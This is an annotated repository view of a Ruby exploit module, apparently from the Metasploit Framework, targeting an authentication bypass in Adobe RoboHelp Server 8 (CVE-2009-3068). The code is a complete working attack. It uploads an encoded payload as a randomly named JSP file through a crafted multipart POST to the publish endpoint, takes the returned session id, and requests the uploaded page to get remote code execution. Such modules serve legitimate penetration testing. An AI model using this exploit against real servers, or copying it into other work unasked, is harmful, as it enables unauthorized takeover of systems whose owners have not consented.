root / modules / exploits / windows / http / adobe_robohelper_authbypass.rb @ master
History | View | Annotate | Download (2.5 kB)
| 1 | c9efd242 | Stephen Fewer | ##
|
|---|---|---|---|
| 2 | 0ea6eca4 | Joshua Drake | # $Id$
|
| 3 | 0ea6eca4 | Joshua Drake | ##
|
| 4 | 0ea6eca4 | Joshua Drake | |
| 5 | 0ea6eca4 | Joshua Drake | ##
|
| 6 | c9efd242 | Stephen Fewer | # This file is part of the Metasploit Framework and may be subject to
|
| 7 | c9efd242 | Stephen Fewer | # redistribution and commercial restrictions. Please see the Metasploit
|
| 8 | ceb48887 | HD Moore | # web site for more information on licensing and terms of use.
|
| 9 | ceb48887 | HD Moore | # http://metasploit.com/
|
| 10 | c9efd242 | Stephen Fewer | ##
|
| 11 | c9efd242 | Stephen Fewer | |
| 12 | c9efd242 | Stephen Fewer | require 'msf/core'
|
| 13 | c9efd242 | Stephen Fewer | |
| 14 | c9efd242 | Stephen Fewer | class Metasploit3 < Msf::Exploit::Remote |
| 15 | ff83f1cd | Joshua Drake | Rank = ExcellentRanking |
| 16 | c9efd242 | Stephen Fewer | |
| 17 | 16ff17c9 | Joshua Drake | HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } |
| 18 | 16ff17c9 | Joshua Drake | |
| 19 | c9efd242 | Stephen Fewer | include Msf::Exploit::Remote::HttpClient |
| 20 | 0ea6eca4 | Joshua Drake | |
| 21 | c9efd242 | Stephen Fewer | def initialize(info = {}) |
| 22 | c9efd242 | Stephen Fewer | super(update_info(info,
|
| 23 | e9faf755 | Joshua Drake | 'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute', |
| 24 | c9efd242 | Stephen Fewer | 'Description' => %q{ |
| 25 | f3f7b1dc | Joshua Drake | This module exploits an authentication bypass vulnerability which |
| 26 | 0ea6eca4 | Joshua Drake | allows remote attackers to upload and execute arbitrary code. |
| 27 | c9efd242 | Stephen Fewer | },
|
| 28 | c9efd242 | Stephen Fewer | 'Author' => [ 'MC' ], |
| 29 | c9efd242 | Stephen Fewer | 'License' => MSF_LICENSE, |
| 30 | 61e233df | HD Moore | 'Version' => '$Revision$', |
| 31 | c9efd242 | Stephen Fewer | 'Platform' => 'win', |
| 32 | c9efd242 | Stephen Fewer | 'Privileged' => true, |
| 33 | c9efd242 | Stephen Fewer | 'References' =>
|
| 34 | c9efd242 | Stephen Fewer | [ |
| 35 | c9efd242 | Stephen Fewer | [ 'CVE', '2009-3068' ], |
| 36 | 365f1355 | Steve Tornio | [ 'OSVDB', '57896'], |
| 37 | 8c0e5fdf | Joshua Drake | [ 'URL', 'http://www.intevydis.com/blog/?p=69' ], |
| 38 | c9efd242 | Stephen Fewer | [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ], |
| 39 | c9efd242 | Stephen Fewer | ], |
| 40 | c9efd242 | Stephen Fewer | 'Targets' =>
|
| 41 | 0ea6eca4 | Joshua Drake | [ |
| 42 | 0ea6eca4 | Joshua Drake | [ 'Universal Windows Target',
|
| 43 | c9efd242 | Stephen Fewer | {
|
| 44 | c9efd242 | Stephen Fewer | 'Arch' => ARCH_JAVA, |
| 45 | c9efd242 | Stephen Fewer | 'Payload' =>
|
| 46 | c9efd242 | Stephen Fewer | {
|
| 47 | c9efd242 | Stephen Fewer | 'DisableNops' => true, |
| 48 | c9efd242 | Stephen Fewer | }, |
| 49 | c9efd242 | Stephen Fewer | } |
| 50 | c9efd242 | Stephen Fewer | ], |
| 51 | c9efd242 | Stephen Fewer | ], |
| 52 | c9efd242 | Stephen Fewer | 'DefaultTarget' => 0, |
| 53 | 9509872b | Mario Ceballos | 'DisclosureDate' => 'Sep 23 2009' |
| 54 | c9efd242 | Stephen Fewer | )) |
| 55 | c9efd242 | Stephen Fewer | |
| 56 | c9efd242 | Stephen Fewer | register_options( [ Opt::RPORT(8080) ], self.class ) |
| 57 | c9efd242 | Stephen Fewer | end
|
| 58 | c9efd242 | Stephen Fewer | |
| 59 | c9efd242 | Stephen Fewer | def exploit |
| 60 | c9efd242 | Stephen Fewer | |
| 61 | c9efd242 | Stephen Fewer | page = Rex::Text.rand_text_alpha_upper(8) + ".jsp" |
| 62 | c9efd242 | Stephen Fewer | uid = rand(20).to_s
|
| 63 | c9efd242 | Stephen Fewer | |
| 64 | c9efd242 | Stephen Fewer | file = "-----------------------------#{uid}\r\n"
|
| 65 | c9efd242 | Stephen Fewer | file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
|
| 66 | c9efd242 | Stephen Fewer | file << "Content-Type: application/x-java-archive\r\n\r\n"
|
| 67 | c9efd242 | Stephen Fewer | file << payload.encoded |
| 68 | c9efd242 | Stephen Fewer | file << "\r\n"
|
| 69 | c9efd242 | Stephen Fewer | |
| 70 | c9efd242 | Stephen Fewer | print_status("Sending our POST request...")
|
| 71 | c9efd242 | Stephen Fewer | |
| 72 | c9efd242 | Stephen Fewer | res = send_request_cgi( |
| 73 | c9efd242 | Stephen Fewer | {
|
| 74 | c9efd242 | Stephen Fewer | 'uri' => '/robohelp/server?PUBLISH=' + uid, |
| 75 | c9efd242 | Stephen Fewer | 'version' => '1.1', |
| 76 | c9efd242 | Stephen Fewer | 'method' => 'POST', |
| 77 | c9efd242 | Stephen Fewer | 'data' => file,
|
| 78 | c9efd242 | Stephen Fewer | 'headers' =>
|
| 79 | c9efd242 | Stephen Fewer | {
|
| 80 | c9efd242 | Stephen Fewer | 'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid, |
| 81 | c9efd242 | Stephen Fewer | 'UID' => uid,
|
| 82 | c9efd242 | Stephen Fewer | } |
| 83 | c9efd242 | Stephen Fewer | }, 5)
|
| 84 | 0ea6eca4 | Joshua Drake | |
| 85 | c9efd242 | Stephen Fewer | if ( res and res.message =~ /OK/ ) |
| 86 | 10e897b9 | James Lee | id = res['sessionid'].to_s.strip
|
| 87 | 10e897b9 | James Lee | |
| 88 | c9efd242 | Stephen Fewer | print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
|
| 89 | c9efd242 | Stephen Fewer | data = send_request_raw({
|
| 90 | c9efd242 | Stephen Fewer | 'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page , |
| 91 | c9efd242 | Stephen Fewer | 'method' => 'GET', |
| 92 | c9efd242 | Stephen Fewer | 'version' => '1.0', |
| 93 | c9efd242 | Stephen Fewer | }, 5)
|
| 94 | c9efd242 | Stephen Fewer | |
| 95 | c9efd242 | Stephen Fewer | handler |
| 96 | c9efd242 | Stephen Fewer | else
|
| 97 | c9efd242 | Stephen Fewer | print_error("No SESSIONID acquired...")
|
| 98 | c9efd242 | Stephen Fewer | return
|
| 99 | c9efd242 | Stephen Fewer | end
|
| 100 | c9efd242 | Stephen Fewer | end
|
| 101 | c9efd242 | Stephen Fewer | end |